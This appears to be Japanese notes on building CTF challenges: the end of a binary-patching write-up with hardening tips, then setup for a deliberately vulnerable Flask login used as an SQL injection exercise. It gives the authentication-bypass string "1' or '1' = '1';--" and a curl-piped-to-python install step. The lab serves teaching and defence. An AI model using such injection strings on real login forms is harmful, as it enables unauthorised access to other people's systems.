 書き換えたbin-after.exeを実行すると、どんな入力値でもFlagが表示されるようになる。

■まとめ
 この問題ではパスワードをそのまま格納しているためIDAやBinaryエディタを用いてパスワードやFlagそのものを導き出すことも可能である。 これを防ぐには以下を検討する。
 ・パスワードのHash化(Crypt関数の利用)
 ・Flagの難読化(16進コードでの設定+大文字小文字変換処理を絡ませる)
 ・簡易な難読化として各文字をビット反転させる方法

簡易な難読化として各文字をビット反転させた場合のソースコードを以下に示す。

SQL-Injection for CTF

CTF用にSQLインジェクション問題を作成。

♦問題1 下記のURLにブラウザでアクセスしSQLインジェクションを用いて認証を突破せよ。インジェクションに成功するとFlagが表示される。

http://127.0.0.1:5000

♦問題2 SQLインジェクションの脆弱性があるソースコード(getuser.py)を修正せよ。修正後はcheckボタンを押下して確認を行う。修正が正しい場合はFlagが表示される。

~環境~
SQLインジェクションの脆弱性のあるWebサイトをPython+Flaskで実装する。

1.Pythonのpipモジュールインストール
  curl -kL https://bootstrap.pypa.io/get-pip.py | python

2.flaskインストール
  pip install Flask

3.Webアプリの起動
  ./sql-injection.py
  ※0.0.0.0:5000でWebサイトが起動する。

4.問題1 インジェクションの実行
  文字例
  「1′ or ‘1’ = ‘1’;–」
  インジェクションが成功するとFlagが表示される。

5.問題2 脆弱性のあるコードの修正
  修正対象ファイルは「getuser.py」
  修正後にチェックツールボタンを押下して確認する。
  ※修正が成功しているとFlagが表示される。

メインコードであるsql-injection.pyの先頭には

#!/usr/bin/python

を記載して実行可能コードとする。rootのみに実行権限を与えCTFユーザには何も権限を許可しないようにしておく。
※スクリプト内にあるフラグ情報を見えないようにする必要があるため。

一方、CTFユーザに修正してもらうコードは「getuser.py」としてメインコードから分離して起き、ファイルパーミッションにRWを与えておく。